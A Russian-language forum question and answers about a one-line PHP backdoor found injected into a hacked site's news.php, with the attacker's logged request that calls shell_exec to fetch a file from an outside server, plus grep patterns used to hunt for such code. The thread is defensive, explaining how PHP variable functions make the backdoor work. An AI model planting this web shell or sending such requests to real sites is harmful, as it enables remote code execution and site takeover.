Бекдор в php — как это работает?

Одному страдальцу каждую ночь ломали сайт, как он его ни восстанавливал из бакапов, как ни обновлял скрипты. Обратился товарищ ко мне за помощью, я прогрепал все скрипты на всевозможные shell_exec/eval/base64_decode/preg_replace.*/e — ничего! В логах доступа нашел-таки подозрительное обращение к одному из скриптов, глянул в него — первой строкой был вставлен код вида:

<?=($_=@$_GET[c]).stripslashes(@$_($_GET[f]))?>



обращались к скрипту так:

GET /news.php?c=shell_exec&f=fetch%20http://bitrix.metrolux******.ru/upload/to.php



Хотелось бы разобраться, как это работает? Понятно, что собачки подавляют вывод ошибок в error_log. Но что отвечает в этом коде за выполнение php функций? Самое интересное, если убрать собачки и вместо shell_exec поставить print, например, то в лог ошибок падает «PHP Fatal error: Call to undefined function print()», но тем не менее, shell_exec прокатывает без проблем…
  • Вопрос задан
  • 7218 просмотров
Решения вопроса 1
print() is not actually a real function (it is a language construct) — поэтому у вас с print не получилось ничего.
Как эта штука работает? Очень просто:
$func=@$_GET[c];
$func($_GET[f]);

Используется фича под названием Variable functions
Ответ написан
Пригласить эксперта
Ответы на вопрос 1
AGvin
@AGvin
Простите, а на файл ".../upload/to.php" можно как то взглянуть? Уж очень интересно, чего там запаковали =)
Ответ написан
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Похожие вопросы